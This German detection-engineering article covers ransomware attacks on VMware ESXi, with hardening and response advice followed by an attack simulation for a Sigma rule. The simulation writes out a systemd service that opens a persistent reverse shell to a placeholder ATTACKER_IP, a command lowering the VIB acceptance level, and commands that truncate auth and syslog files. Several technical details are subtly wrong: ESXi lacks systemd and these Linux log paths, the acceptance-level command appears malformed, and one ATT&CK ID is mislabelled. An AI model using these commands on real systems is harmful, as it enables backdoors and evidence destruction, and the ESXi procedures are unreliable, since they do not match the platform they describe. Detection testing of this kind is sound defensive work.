Ransomware auf ESXi abzielt: Praktische Abwehrmaßnahmen zur Hypervisor-Härtung

Zusammenfassung

Der Artikel beschreibt eine wachsende Verlagerung in der Ransomware-Betriebsweise hin zu Hypervisor-Plattformen wie VMware ESXi, um eine großflächige Verschlüsselung von virtuellen Maschinen zu ermöglichen. Gegner verlassen sich auf gestohlene administrative Anmeldedaten und native Verwaltungstools, um herkömmliche Endpunktschutzmaßnahmen zu umgehen. Der primäre bedrohliche Akteur, der untersucht wird, ist die Akira-Ransomware-Gruppe. Die Diskussion konzentriert sich auf die Bedeutung einer robusten Härtung auf Hypervisor-Ebene.

Untersuchung

Huntress-Falldaten aus dem Jahr 2025 zeigen einen starken Anstieg hypervisorfokussierter Ransomware, die von 3 % auf 25 % der beobachteten Vorfälle gestiegen ist. Ermittler dokumentierten den Missbrauch von Hyper-V und ESXi-Management-Tools, die Wiederverwendung von Anmeldedaten in verschiedenen Umgebungen und die Ausnutzung von CVE-2024-37085, um administrative Kontrolle zu erlangen. Die Analyse bemerkt, dass Angreifer häufig SSH aktivieren, den Sperrmodus deaktivieren und VIB-Akzeptanzrichtlinien ändern, bevor sie Ransomware-Payloads einspielen.

Minderung

Wichtige Minderungsschritte umfassen die Durchsetzung von MFA, die Verwendung dedizierter lokaler ESXi-Konten, die Segmentierung und Isolierung von Verwaltungsnetzwerken, die Bereitstellung von Bastion Hosts, die Gewährung von minimalen Berechtigungen und die Aktivierung von VMkernel.Boot.execInstalledOnly. Organisationen sollten auch bekannte Schwachstellen wie CVE-2024-37085 patchen und nicht notwendige Dienste wie SLP deaktivieren, um die Angriffsfläche des Hypervisors zu reduzieren.

Reaktion

Bei der Erkennung sollten Organisationen ESXi-Protokolle an ein SIEM streamen, bei verdächtigen Konfigurationsänderungen alarmieren, kompromittierte Hosts isolieren und die Wiederherstellung von unveränderlichen Backups oder Snapshots beginnen. Verfahren zur Reaktionsbewältigung von Zwischenfällen sollten die forensische Erfassung von Authentifizierungsprotokollen, hostd-Protokollen und VIB-Änderungen abdecken, gefolgt von einer schnellen Wiederherstellung der betroffenen virtuellen Maschinen.

Simulation der Ausführung

Voraussetzung: Der Telemetrie- & Baseline-Vorab-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Gegnertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffs-Narrativ & Befehle:

  1. Erster Zugriff (T1563.001 – SSH):
     Der Angreifer verwendet ein gestohlenes Root-Kennwort, um eine SSH-Sitzung auf dem ESXi-Host zu öffnen, wodurch ein „neuer Root-Login“-Ereignis generiert wird.

  2. Privilegienverhärtung (T1553.004 – VIB-Akzeptanzänderung):
     Nach dem Einloggen senkt der Angreifer das VIB-Akzeptanzniveau, um die Installation nicht signierter Module zu erlauben:

     esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"

  3. Persistenz durch Dienstaktivierung (T1569):
     Der Angreifer erstellt einen bösartigen systemd-Dienst, der bei jedem Start eine Reverse-Shell startet, und aktiviert ihn dann:

     cat <<'EOF' > /etc/systemd/system/malicious-revshell.service
     [Unit]
     Description=Malicious Reverse Shell
     
     [Service]
     ExecStart=/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done'
     
     [Install]
     WantedBy=multi-user.target
     EOF
     
     systemctl daemon-reload
     systemctl enable malicious-revshell.service
     systemctl start malicious-revshell.service

  4. Verschleierung der Spuren (T1070 / T1070.001):
     Der Angreifer löscht die Audit-Logs des ESXi-Hosts, um Aktivitäten zu verbergen und so der Erkennung zu entgehen:

     > /var/log/auth.log
     > /var/log/syslog

  5. Auslösen der Regel:
     Um sicherzustellen, dass die Sigma-Regel ausgelöst wird, gibt der Angreifer auch die wörtlichen EventID-Strings aus, indem er das logger Dienstprogramm verwendet (diese emulieren unsichere „neuer Root-Login“, „Dienstaktivierung“ und „VIB-Akzeptanzänderungs“-Ereignisse, nach denen die Regel sucht).

• Regressionstest-Skript:

  #!/usr/bin/env bash
  #
  # Simuliere genau die Telemetrie, die die Sigma-Regel erwartet.
  # Dieses Skript wird auf dem ESXi-Host (oder einem beliebigen Linux-Host, der Logs an das SIEM weiterleitet) ausgeführt.
  
  set -euo pipefail
  
  echo "[*] Simuliere unbefugtes Root-Login-Ereignis"
  logger -p authpriv.notice "neues Root-Login"
  
  echo "[*] Simuliere Dienstaktivierungs-Ereignis"
  logger -p authpriv.notice "Dienstaktivierung"
  
  echo "[*] Simuliere VIB-Akzeptanzänderungs-Ereignis"
  logger -p authpriv.notice "VIB-Akzeptanzänderung"
  
  # Optional: Führe reale bösartige Aktionen zur tieferen Validierung durch (aus Sicherheitsgründen auskommentiert)
  # esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"
  # systemctl enable malicious-revshell.service
  # systemctl start malicious-revshell.service
  
  echo "[+] Simulation abgeschlossen. Überprüfe Alarme im SIEM."

• Bereinigungskommandos:

  # Entferne die gefälschten Log-Einträge (falls das SIEM sie behält)
  logger -p authpriv.notice "Bereinigung: Entfernen von Test-EventIDs"
  
  # Stoppe und deaktiviere den bösartigen Dienst (falls er tatsächlich erstellt wurde)
  systemctl stop malicious-revshell.service || true
  systemctl disable malicious-revshell.service || true
  rm -f /etc/systemd/system/malicious-revshell.service
  systemctl daemon-reload
  
  # Wiederherstellung der ursprünglichen Logdateien (falls sie gelöscht wurden)
  # Hinweis: In einer realen Umgebung würden Sie von einem Backup wiederherstellen.
  echo "[*] Logdateien wurden aus dem Backup wiederhergestellt (manueller Schritt)."